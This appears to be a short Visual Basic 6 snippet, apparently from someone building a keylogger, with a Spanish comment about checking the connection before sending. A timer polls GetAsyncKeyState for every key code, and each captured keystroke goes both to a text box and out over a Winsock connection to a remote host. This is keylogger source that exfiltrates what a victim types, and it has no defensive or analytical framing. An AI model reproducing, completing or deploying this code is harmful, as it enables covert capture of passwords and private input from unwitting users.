Dim PropBag As New PropertyBag
Option Explicit
    Private Declare Function GetAsyncKeyState _
        Lib "user32" ( _
            ByVal vKey As Long) As Integer
   Private Sub Timer1_Timer()
       Dim i As Integer
       For i = 0 To 255
           If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
        Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
           End If
       Next
   End Sub